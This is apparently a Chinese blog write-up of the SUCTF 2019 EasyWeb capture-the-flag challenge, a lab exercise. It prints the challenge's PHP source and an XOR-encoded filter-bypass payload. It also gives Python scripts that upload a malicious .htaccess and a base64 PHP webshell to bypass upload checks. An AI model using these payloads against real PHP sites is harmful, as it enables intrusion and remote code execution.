SUCTF-2019-EasyWeb

摘要
绕过与文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

一个函数,一个eval

第一层

1
2
3
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

长度不能超过18

1
2
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

正则匹配

1
2
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

使用的字符不能超过12种

首先正则,可以看到大部分可见字符都过滤掉了,基本上就是使用异或、取反

取反需要~,但此符号被过滤掉了,与字串相同长度的%ff异或相当于取反

https://blog.csdn.net/qq_45521281/article/details/105656737

1
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

这个方法似乎非常的极限,暂时找不到更好的……disable function很多……

getflag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

文件名匹配ph,文件内容匹配<?,判断是否为图片,通过后输出存放路径

第二层

第一点:exif_imagetype()读取一个图像的第一个字节并检查其签名

1、在内容前面增加GIF98a等标志

2、在文件开头增加\xff\xd8等标志

3、>使用了xbm格式,X Bit Map,来绕过图片检测

​ >一个XMB图片文件通常如下:#define width 1337 #define height 1337 static char test_bits[] = { };

第二点:文件名绕过

.user.ini需要同文件夹下的php文件

这里选用.htaccess

注意,.htaccess文件需要格式符合,否则会500异常;因此选用xbm绕过,此文件头会被认为是注释

第三点:文件内容绕过

脚本编码

1
2
3
php_flag zend.multibyte 1 启用编码
php_value zend.script_encoding 'UTF-8' 设置编码
php_value auto_append_file 所有文件底部包含

payload:

1
${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%ff=get_the_flag

利用python脚本进行文件提交:

注意换行!

.htaccess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding:utf-8

import requests

shell ="AddType application/x-httpd-php .aaa \nphp_flag display_errors on \nphp_flag zend.multibyte 1 \nphp_value zend.script_encoding 'UTF-8' \nphp_value auto_append_file 'php://filter/convert.base64-decode/resource=1.aaa'"

prefix = "\n#define counter_width 40 \n#define counter_height 10"
# GIF8!
# \xff\xd8
# #define counter_width 40 \n#define counter_height 10

con = prefix + "\n" + shell
con = con.encode('utf-8')

url = "http://2e82df58-e85e-48ab-833b-22a31a8f041d.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%A0%B8%BA%AB}{%ff}();&%ff=get_the_flag"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0'}
files = {
'file': ('.htaccess', con, 'image/x-xbitmap')
}

response = requests.post(url=url, headers=headers, files=files)

res = response.text
print(res)

AddType application/x-httpd-php .aaa 后缀.aaa解析为php

auto_append_file ‘php://filter/convert.base64-decode/resource=1.aaa’ 包含文件可以用协议处理数据流

编码设置太麻烦了,学习了用协议读入……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding : utf-8
from functools import partial

import requests
import base64

shell = "PD9waHAgQGV2YWwoJF9QT1NUWydvayddKSA/Pg=="

prefix = "GIF8!"
# GIF8!
# \xff\xd8
# #define counter_width 40 \n#define counter_height 10

con = prefix + "\n" + shell

url = "http://2e82df58-e85e-48ab-833b-22a31a8f041d.node4.buuoj.cn:81/?_=${%ff%ff%ff%ff^%A0%B8%BA%AB}{%ff}();&%ff=get_the_flag"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0'}
files = {
'file': ('1.aaa', con, 'image/png'),
}

response = requests.post(url=url, headers=headers, files=files)

res = response.text
print(res)

第三层

获取shell后,发现不能跨目录与命令执行……又到了恐怖的绕disable function 时间……

……

image-20210822151133816

image-20210822151143300

image-20210822151154733

蚁剑还是强啊!

参考文章:
浅谈PHP代码执行中出现过滤限制的绕过执行方法

https://xz.aliyun.com/t/6042#toc-26

一道疯狂bypass的题目

作者

inanb

发布于

2021-08-22

更新于

2021-11-11

许可协议


:D 一言句子获取中...